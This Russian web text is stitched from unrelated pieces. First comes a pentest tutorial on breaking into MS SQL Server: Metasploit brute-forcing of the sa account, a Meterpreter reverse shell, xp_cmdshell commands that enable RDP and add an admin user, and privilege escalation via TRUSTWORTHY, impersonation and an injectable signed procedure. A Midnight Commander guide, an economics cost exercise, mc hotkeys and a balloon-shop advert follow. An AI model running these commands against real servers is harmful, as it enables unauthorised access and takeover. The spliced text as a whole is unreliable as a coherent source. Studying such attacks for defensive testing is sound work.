Методы и средства взлома баз данных MS SQL.

Практически ни один серьезный пентест не обходится без проверки СУБД, ведь это одна из самых популярных у злоумышленников дверей к желаемой информации и машине. В крупных проектах в качестве СУБД очень часто используется MS SQL Server. И о проверке именно его безопасности мы сегодня и поговорим. Открывать Америку не будем - опытные камрады лишь освежат свои знания, а вот для тех, кто только начинает осваивать тему, я постарался максимально подробно разложить все по пунктам.

WARNING!

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Введение

Один из самых важных критериев надежности информационной системы - безопасность СУБД. Атаки, направленные на нее, в большинстве случаев критические, потому что могут частично либо полностью нарушить работоспособность системы. Поскольку крупные организации формировали свою инфраструктуру давным-давно и обновление на новые версии ПО вызывает у них «большие» проблемы, самыми распространенными версиями до сих пор остаются MS SQL Server 2005 и MS SQL Server 2008. Но это всего лишь статистика, и далее мы будем рассматривать общие для всех версий векторы и техники. Для удобства условно разобьем весь процесс пентеста на несколько этапов.

Как найти MS SQL

Первое, что начинает делать пентестер, - это собирать информацию о сервисах, расположенных на сервере жертвы. Самое главное, что нужно знать для поиска Microsoft SQL Server, - номера портов, которые он слушает. А слушает он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить, имеется ли MS SQL на сервере жертвы, необходимо его просканировать. Для этого можно использовать Nmap cо скриптом ms-sql-info . Запускаться сканирование будет примерно так:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ну а результат его выполнения представлен на рис. 1.

Помимо Nmap, есть отличный сканирующий модуль для Метасплоита mssql_ping , позволяющий также определять наличие MS SQL на атакуемом сервере:

Msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run

Используя один из данных вариантов, можно быстренько определить, установлен ли на сервере MS SQL, а также узнать его версию. После чего можно переходить к следующему этапу.


Brute force

Допустим, СУБД на сервере мы обнаружили. Теперь стоит задача получить к ней доступ. И тут нас встречает первое препятствие в виде аутентификации. Вообще, MS SQL поддерживает два вида аутентификации:

  1. Windows Authentication - доверительное соединение, при котором SQL Server принимает учетную запись пользователя, предполагая, что она уже проверена на уровне операционной системы.
  2. Смешанный режим - аутентификация средствами SQL Server + Windows Authentication.

По умолчанию используется первый режим аутентификации, а смешанный режим активируется отдельно. На практике же довольно трудно встретить базу без смешанного режима - он более гибок.

Некоторые плюсы смешанного режима

  • Позволяет SQL Server поддерживать более старые приложения, а также поставляемые сторонними производителями приложения, для которых необходима проверка подлинности SQL Server.
  • Позволяет SQL Server поддерживать среды с несколькими операционными системами, в которых пользователи не проходят проверку подлинности домена Windows.
  • Позволяет разработчикам программного обеспечения распространять свои приложения с помощью сложной иерархии разрешений, основанной на известных, заранее установленных именах входа SQL Server.

Обычно на данном этапе мы не имеем доступа в корпоративную сеть, тем самым использовать аутентификацию посредством Windows не можем. Но мы нашли открытый порт с MS SQL, значит, пробуем побрутить админскую учетку sa , стандартную для смешанного режима. Для автоматизации процесса используем модуль Метасплоита mssql_login:

Msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.16.2.104:1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect:) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect:) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect:) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

Отлично! Пароль найден, теперь можем переходить к следующему этапу. Но что, если учетки sa на сервере не окажется? Тогда придется брутить и логин, для чего необходимо будет указать скрипту еще один файл, откуда их брать:

Msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt

Получение shell’а

В случае если у нас получилось сбрутить учетку sa , мы можем залогиниться в БД. Далее сценарий прост - включаем хранимую процедуру, позволяющую выполнять команды на уровне операционной системы, и заливаем на сервер Meterpreter shell. Крутые ребята написали для Метасплоита отличный модуль mssql_payload , который автоматизирует этот процесс:

Msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSWORD root PASSWORD => root msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] Command Stager progress - 100.00% done (102246/102246 bytes) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter >

Сессия Meterpreter’a создана, теперь ты имеешь полный доступ. Можешь дампить хеш админа, делать скриншоты, создавать/удалять файлы, включать/выключать мышь или клавиатуру и многое другое. Пожалуй, это самый популярный шелл, который используется при тестах на проникновение. Полный список команд Meterpreter’a можно подсмотреть .

Что делать, если логин/пароль не сбрутился?

Но не обольщайся, не так часто модуль mssql_login будет тебя радовать: пароль админы очень редко оставляют дефолтным. В таком случае получить шелл нам поможет SQL-инъекция. Представь себе HTML-форму, в которую пользователь вводит номер статьи, и простой уязвимый запрос к БД, причем все это работает под админской учеткой sa:

$strSQL = "SELECT * FROM . WHERE id=$id";

Переменная $id никак не фильтруется, значит, можно провести SQL-инъекцию, в которой любой запрос будет выполнен из-под админской учетки sa . Для того чтобы выполнять команды на уровне операционной системы, необходимо активировать хранимую процедуру xp_cmdshell , которая по умолчанию выключена. Нам потребуется отправить четыре запроса для ее активации:

  1. EXEC sp_configure "show advanced options",1;
  2. reconfigure;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. reconfigure

Системная хранимая процедура sp_configure позволяет просматривать, документировать, изменять и восстанавливать конфигурацию сервера. Наиболее простой способ получить доступ к серверу - включить RDP через реестр, создать пользователя с админскими правами и подключиться.

Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Создаем пользователя:

10; exec master.dbo.xp_cmdshell "net user root toor /ADD"

Даем права:

10;exec master.dbo.xp_cmdshell "net localgroup administrators root/add"

Повышение привилегий. TRUSTWORTHY

В предыдущем случае запрос к базе происходил от имени админа, и поэтому было так просто исполнять команды операционной системы. Но что делать, если мы имеем урезанную учетку, у которой не будет прав включить xp_cmdshell ? В этом случае нам помогут хранимые процедуры и активированное свойство TRUSTWORTHY у базы.

Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу YOLO: CREATE DATABASE YOLO; . Создаем нового пользователя bob с паролем marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Назначаем пользователя bob владельцем базы YOLO:

USE YOLO ALTER LOGIN with default_database = ; CREATE USER FROM LOGIN ; EXEC sp_addrolemember , ;

Затем устанавливаем свойство TRUSTWORTHY , которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Логинимся в SQL Server под учеткой bob:marley .

Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:

USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember "bob","sysadmin" GO

Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:

SELECT is_srvrolemember("sysadmin") результат = 0

Выполним созданную выше хранимую процедуру sp_lvlup:

USE YOLO EXEC sp_lvlup

И опять проверим наши привилегии:

SELECT is_srvrolemember("sysadmin") результат = 1

Процедура sp_lvlup создана для запуска от имени OWNER , что в данном случае является админской учетной записью sa . Это возможно, потому что db_owner создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство TRUSTWORTHY = On . Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY - это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи bob после исполнения процедуры sp_lvlup присвоены привилегии sysadmin . Чтобы посмотреть, у каких баз активировано свойство TRUSTWORTHY , можно воспользоваться следующим запросом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Или для автоматизации всего процесса можно использовать модуль для Метасплоита mssql_escalate_dbowner_sqli:

Use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Success! Bob is now a sysadmin!

Повышение привилегий. User Impersonation

Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии IMPERSONATE и функцию EXECUTE AS , позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = "secret"; CREATE LOGIN User2 WITH PASSWORD = "secret"; CREATE LOGIN User3 WITH PASSWORD = "secret"; CREATE LOGIN User4 WITH PASSWORD = "secret";

Затем даем пользователю User1 привилегии исполнять запросы от имени sa , User2 , User3:

USE master; GRANT IMPERSONATE ON LOGIN::sa to ; GRANT IMPERSONATE ON LOGIN::MyUser2 to ; GRANT IMPERSONATE ON LOGIN::MyUser3 to ; GO

Логинимся в SQL Server под учетной записью User1 и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Результат = 0

Ну а сейчас собственно сам трюк - выполним запрос от имени sa , так как выше мы дали привилегии учетной записи User1 выполнять запросы от имени sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Результат = 1

Все в порядке, теперь можем выполнять команды от имени sa , а значит, можно включить хранимую процедуру xp_cmdshell:

EXEC sp_configure "show advanced options",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

Учетная запись sysadmin по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Для выполнения запроса от имени другой учетной записи используй EXECUTE AS LOGIN = "AnyUser" . Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос REVERT .

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита mssql_escalete_executeas_sqli:

Use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Success! User1 is now a sysadmin!

Повышение привилегий. Хранимые процедуры, подписанные сертификатом

Для описания данного вектора создадим уязвимую хранимую процедуру, подписанную сертификатом. В отличие от предыдущих примеров, для эскалации привилегий необязательны:

  • свойство TRUSTWORTHY = On ;
  • привилегии IMPERSONATE и функция EXECUTE AS ;
  • конфигурация хранимой процедуры с классом WITH EXECUTE AS для ее выполнения от имени другой учетной записи.

Создадим учетную запись с минимальными правами:

CREATE LOGIN tor WITH PASSWORD = "loki"; GO -- Set login’s default database ALTER LOGIN with default_database = ; GO

Выключим свойство TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . И создадим простую хранимую процедуру sp_xxx , которая будет выводить столбец name из базы tempdb , а также из базы, которую ввел пользователь:

USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = "SELECT name FROM master..sysdatabases where name like ""%"+ @DbName+"%"" OR name=""tempdb"""; EXECUTE(@query) END GO

После этого создадим ключ шифрования для базы MASTER:

CREATE MASTER KEY ENCRYPTION BY PASSWORD = "secret"; GO

И сертификат:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "To sign the sp_xxx", EXPIRY_DATE = "2035-01-01"; GO

Следующим шагом создаем логин из сертификата sp_xxx:

CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert

И подпишем процедуру созданным сертификатом:

ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GO

Присвоим логину sp_lvlup2 привилегии sysadmin:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Даем привилегии членам группы PUBLIC исполнять процедуру:

GRANT EXECUTE ON sp_xxx to PUBLIC

В итоге мы создали пользователя tor с минимальными правами, хранимую процедуру sp_xxx , которая выводит имя введенной базы, создали сертификат sp_xxx_cert и подписали им хранимую процедуру, а также создали логин sp_xxx_login из сертификата и дали ему привилегии sysadmin . На этом подготовительная часть закончена. Логинимся учетной записью tor и вызываем хранимую процедуру:

EXEC MASTER.dbo.sp_xxx "master"

Как и положено, она вернет нам имя указанной нами БД - master и tempdb (см. рис. 3).

Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx "master"

Запрос вида EXEC MASTER.dbo.sp_sqli2 "master""--" вернет уже только master (см. рис. 4).

Рис.4. Результат выполнения запроса EXEC MASTER.dbo.xxx "master""--"

Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду EXEC master..xp_cmdshell "whoami"; не получится, потому что у учетной записи tor минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).

Что самое интересное, такой трюк будет работать в версиях 2005–2014.

Заключение

Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством TRUSTWORTHY , позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий IMPERSONATE и функции EXECUTE AS , а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.

В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link’и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.

При использовании готовых программных продуктов, например CMS Joomla , довольно часто приходится сталкиваться с тем, что в результатах работы программы появляется какое-то сообщение об ошибке или предупреждение, но нет подробной информации, где находится данный фрагмент кода. В этих случаях проще всего воспользоваться поиском файла в Midnight Commander по строке. Рассмотрим, как это проделать.

Обычно известно примерное местоположение файла с искомым фрагментом кода. Поэтому первым делом перейдём в директорию, в которой может располагаться этот файл.

В контекстном меню в поле «Start at: » (От каталога ) оставим точку: мы уже находимся в предполагаемой директории, содержащей искомый файл. Но, выбрав опцию «T ree» (Д ерево ), можно выбрать другую директорию для поиска.

Контекстное поле «Enab le ignore directories» (И гнорировать каталоги ) можно оставить пустым, если не требуется исключить из поиска какие-либо известные директории, чтобы сузить область поиска.

В поле «File name » (Шаблон имени ) необходимо ввести имя файла или шаблон его имени. В шаблоне используется ? для любого символа или * для любого количества любых символов. Если мы ничего не знаем ни о имени, ни о расширении файла, смело вводим *.* .

Опционально выбираем:

  • «F ind recursively» (Найти рек урсивно )
  • «U sing shell patterns» (М етасимволы shell )
  • «Case sensitive» (У чёт регистра )
  • «A ll charsets» (В се кодировки )
  • «Sk ip hidden» (Пропускать скры тые )

В поле «Content » (Содержимое ) вводим строчку, которую Midnight Commander должен будет найти во всех встреченных файлах.

Опционально выбираем:

  • «Sear ch for content» (Поиск по содерж имому ) ← ЭТА ОПЦИЯ ОБЯЗАТЕЛЬНА ДЛЯ ПОИСКА ПО СТРОКЕ
  • «Reg ular expression» (Р егулярное выражение )
  • «Case sensi tive» (Учёт рег истра )
  • «Al l charsets» (Все кодировки )
  • «W hole words» (С лово целиком )
  • «Firs t hit» (До первого вх ождения )

Поиск запускаем «O k» (Д альше ), останавливаем с помощью «C ansel» (П рервать ).

После того, как программа пробежится по всем файлам, она их выдаст в виде списка директорий, в которых есть файлы с совпадениями + сами файлы с номерами строчек, в которых были найдены совпадения с искомой фразой.

В общем, мега-удобная программа при поиске того, что знаешь, но не знаешь, где конкретно искать. :)

В таблице показана зависимость общих затрат предприятия от выпуска продукции. Рассчитайте затраты: постоянные, переменные, средние общие, средние постоянные, средние переменные. В таблице заполните графы FC, VC, MC, ATC, AFC, AVC :

Общие затраты, TC, р. FC VC MC ATC AVC AFC
0 60
1 130
2 180
3 230
4 300

Решение:

Постоянные затраты (Fixed Costs ) - это те затраты, которые не зависят от объёма выпускаемой продукции или услуги. Сколько бы фирма не произвела продукции величина постоянных издержек не меняется. Даже если фирма не произвела ни одной единицы продукции она несёт затраты, например, это может быть аренда помещения, плата за отопление, плата за кредит и др.

Таким образом, FC при любом объёме выпуска будут равны 60 р.

Переменные затраты (Variable Costs ) - это затраты, которые изменяются при изменении объёма выпускаемой продукции или услуги. В сумме с постоянными затратами равны величине общих затрат (Total Costs ):

TC = FC + VC.

Отсюда:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Предельные затраты (Marginal Costs ) - это прирост затрат, связанный с выпуском дополнительной единицы продукции.

MC = ΔTC / ΔQ

Так как в данной задаче прирост выпуска всегда равен 1, можно переписать эту формулу так:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Средние общие затраты (Average Total Costs ) - это затраты на производство одной единицы продукции.

ATC = TC / Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Средние постоянные затраты (Average Fixed Costs ) - это фиксированные затраты на единицу выпуска продукции.

AFC = FC / Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Средние переменные затраты (Average Variable Costs ) - это переменные затраты на производство одной единицы продукции.

AVC = VC / Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Зная ATC и AFC средние переменные затраты можно найти также как разность средних общих и средних фиксированных затрат:

AVC = ATC - AFC

Заполним пропуски в таблице:

Выпуск в единицу времени, Q, шт. Общие затраты, TC, р. FC VC MC ATC AVC AFC
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Общее

Ctrl+x,j — Показ фоновых задач

Сtrl-X+A - текущие VFS (ftp и пр.)

ESC+цифра - тоже что и F{цифра} (ESC+5 = F5)

F1-F12

F3 — Просмотр файла

F3 — (Во время редактирования) Начать выделение текста. Повторное нажатие F3 закончит выделение

F4 — Редактирование файла

F5 — Скопировать выделенное

F6 — Переместить выделенное

F8 — Удалить выделенное

Shift+F1 - вызывается меню быстрого перехода между точками монтирования на левой панели

Shift+F2 - вызывается меню быстрого перехода между точками монтирования на правой панели

Shift+F5 - скопировать файл в этот же каталог

Shift+F6 - переместить/переименовать файл в этот же каталог

Поиск

ctrl-s — Быстрый поиск файла или каталога

alt-shift-? — Вызывается меню расширенного поиска файлов

Командная строка

ctrl-a — курсор в начало

ctrl-e — курсор в конец

esc-! — выполнить команду с параметрами

ctrl-x, p или alt+a — вставить имя каталога

esc, enter; ctrl-enter — послать текущий объект в командную строку

ctrl-x,t — Вставка всех выделенных объектов в командную строку

esc, tab — дополнение команды

alt-a — вставить текущий каталог в командную строку

Alt-TAB (ESC+TAB) - Крутейшая комбинация для поиска загружаемых файлов (например, вы забыли как правильно пишется: netcfg или netconfig. Достаточно набрать в командной строке net и нажать Alt-TAB - вам сразу покажут что можно запустить, которое начинается со слова net) нажимать два раза!
alt-shift-! — вывод результата команды
ctrl-shift-v — вставка из буфера обмена

Операции над файлами

Shift+F4 — Создает новый файл

shift-f6 — переименовать файл

Ctrl+x,i — Быстрый просмотр информации о текущем объекте на второй панели

Ctrl+x,q — Быстрый просмотр содержимого файла на второй панели

alt-. — показать скрытые файлы

ctrl-x, c — права на файл

ctrl-x, o — владелец файла

Shift-F3 - просмотр файла (raw/ без учета расширения)

Ctrl + x v — создать относительную символическую ссылку

trl+x,Ctrl+s — Редактировать символическую ссылку

ctrl-t — отметить файл либо снять отметку

+ — выбрать (отметить) группу файлов по регулярному выражению

\ — снять отметку с группы файлов

ctrl-x, ctrl-d — сравнить файлы

ctrl-t или Insert — Выделение текущего объекта

Работа с каталогами

alt-o — открыть каталог под курсором в соседней панели

alt-i — открыть текущий каталог в соседней панели

сtrl-\ - показать «Справочник каталогов»

alt-shift-h — Отобразить историю каталогов

Ctrl+l — Перерисовать экран

Ctrl+Space — Показать размер текущего каталога

Ctrl-X+D - сравнить каталоги

ESC+C - быстро сменить каталог

alt-c -окно «Быстрая смена каталога»

Работа с панелями

Ctrl-O - погасить панели и посмотреть что под ними (работает ТОЛЬКО в linux!) здесь же можно поработать в shell’e.

alt-, — Переключить режим отображения панелей (вертикально/горизонтально)

alt-t переключение подробного режима отображения панели

Meta+c — Вызывается меню быстрой смены текущего каталога на активной панели

ctrl-u — поменять панели местами

alt-g — отмечает первый файл или каталог в отображаемом списке на панели (по сути как клавиша Home, поднимает курсор вверх)

alt-e — поменять кодировку панели

Ctrl + x i — переводит пассивную панель в режим «Информация»

Ctrl + x q — переводит пассивную панель в режим быстрого просмотра

ctrl-x ! — меню → «Критерий панелизации» (git)

История

alt+h; esc, h — история командной строки

alt-p, alt-n — вернуть предыдущую (следущую) командную строку (строки)

alt-y. Перемещение к предыдущему каталогу из истории перемещения по каталогам; эквивалентно нажатию мышкой на символ ‘<‘ в верхнем углу панели.

alt-u. Перемещение к следующему каталогу из истории перемещения по каталогам; эквивалентно нажатию мышкой на символ ‘>’.

Редактор

F4 (в редакторе) - поиск с заменой

F6 (в редакторе) - поиск с помощью регулярного выражения

Shift-Del (в редакторе) - удалить блок (и положить его в clipboard)

Shift-Ins (в редакторе) - вставить блок из буфера (работает даже в другой консоли!!!) Можно редактировать два и более файлов на разных консолях и гонять блоки между ними.

Shift+F3 — Начать выделение блока текста. Повторное нажатие F3 закончит выделение

Shift+F5 — Вставка текста из внутреннего буфера обмена mc (прочитать внешний файл)

Meta+i — Переключение режима «Автовыравнивание возвратом каретки», удобно при вставке отформатированного текста из буфера обмена

Meta+l — Переход к строке по её номеру

Meta+q — Вставка литерала (непечатного символа).См. таблицу ниже

Meta+t — Сортировка строк выделенного текста

Meta+u — Выполнить внешнюю команду и вставить в позицию под курсором её вывод

Ctrl+f — Занести выделенный фрагмент во внутренний буфер обмена mc (записать во внешний файл)

Ctrl+k — Удалить часть строки до конца строки

Ctrl+n — Создать новый файл

Ctrl+s — Включить или выключить подсветку синтаксиса

Ctrl+t — Выбрать кодировку текста

Ctrl+u — Отменить действия

Ctrl+x — Перейти в конец следующего

Ctrl+y — Удалить строку

Ctrl+z — Перейти на начало предыдущего слова

Meta+Enter — Диалог перехода к определению функции

Meta+- — Возврат после перехода к определению функции

Meta++ — Переход вперед к определению функции

Meta+n — Включение/отключение отображения номеров строк

tab Отодвигает вправо выделенный текст, если выключена опция «Постоянные блоки»

Meta-tab Отодвигает влево выделенный текст, если выключена опция «Постоянные блоки»

Shift+Стрелки Выделение текста

Meta+Стрелки Выделение вертикального блока

Meta+Shift+- Переключение режима отображения табуляций и пробелов

Meta+Shift++ Переключение режима «Автовыравнивание возвратом каретки»

Организация праздника – сложная задача. Есть столько моментов, о которых стоит подумать и позаботиться. Компания «МФ Поиск» упрощает одну из задач – декор. Мы собрали каталог товаров для праздника , который вмещает множество средств декоративного оформления помещений и мелочей, полезных для проведения торжеств.

Каталог товаров для праздника: составляем список покупок

Каталог «МФ Поиск» можно назвать готовым списком покупок. У него удобная и подробная структура. У нас можно приобрести:

  • Свадебную атрибутику. Ленты, конфетти, замки, декор для зала и автомобиля и многое другое.
  • Все для карнавала. В этом разделе вы найдете аксессуары, необходимые для проведения костюмированной вечеринки, новогоднего карнавала, Хеллоуина, тематического Дня рождения пр.
  • Одноразовая посуда. Не всегда стол накрывают фарфором и керамикой. Например, для сервировки детского стола или для празднования Дня рождения в офисе удобнее пользоваться бумажными тарелками и стаканчиками.
  • Игрушки-пати и мыльные пузыри. Чтобы дети не заскучали на празднике, об их досуге нужно позаботиться заранее. Вам повезло! Мы собрали всю необходимую атрибутику, вам осталось найти ей применение.
  • Хлопушки и бенгальские огни. Они сделают праздник ярким и незабываемым.
  • Свечи. Украсить торт, провести романтический вечер, сделать сюрприз – для каждого случая есть свой набор свечей.

Воздушные шарики от «МФ Поиск»

«МФ Поиск» − крупнейший поставщик воздушных шаров. Мы сотрудничаем с производителями из США, Испании, Мексики. Предоставляем сертификаты качества и обеспечиваем самый полный ассортимент шариков, чтобы для каждого мероприятия можно было составить свою уникальную композицию. Все воздушные шары в нашем каталоге можно разделить на латексные и фольгированные.

  • Латексные. Их можно выбрать в зависимости от цвета, размера, формы, тематики. Мы реализуем шарики с рисунком и без, а также предоставляем услугу нанесения логотипа. Помимо классических вариантов мы предлагаем и необычные – панчболы, линкинги, фигурные шарики и для моделирования.
  • Фольгированные. Здесь также есть из чего выбрать: ходячие, большие, мини, в виде цифр. Для удобства выбора мы рассортировали продукцию по тематике, вы легко перейдете в раздел с изделиями для свадьбы, Дня рождения, Нового года и прочих торжественных событий.

Отдельно мы разместили аксессуары для шаров, например, палочки или грузики. Оформителей заинтересует раздел с оборудованием – баллонами с гелием, насосами, краской для печати.

Почему стоит выбрать именно «МФ Поиск»?

  • Самый большой каталог шаров.
  • Сертификаты качества в открытом доступе.
  • Минимальная сумма заказа доступна каждому покупателю независимо от размаха мероприятия.
  • Все товары для праздника в одном месте.
  • Скидки при крупном опте.

Мы стараемся сделать ваше пребывание на сайте комфортным, потому создали отдельные разделы с новинками, лидерами продаж, а также анонсы «Скоро в продаже». С нами вы убедитесь, что устроить праздник легко!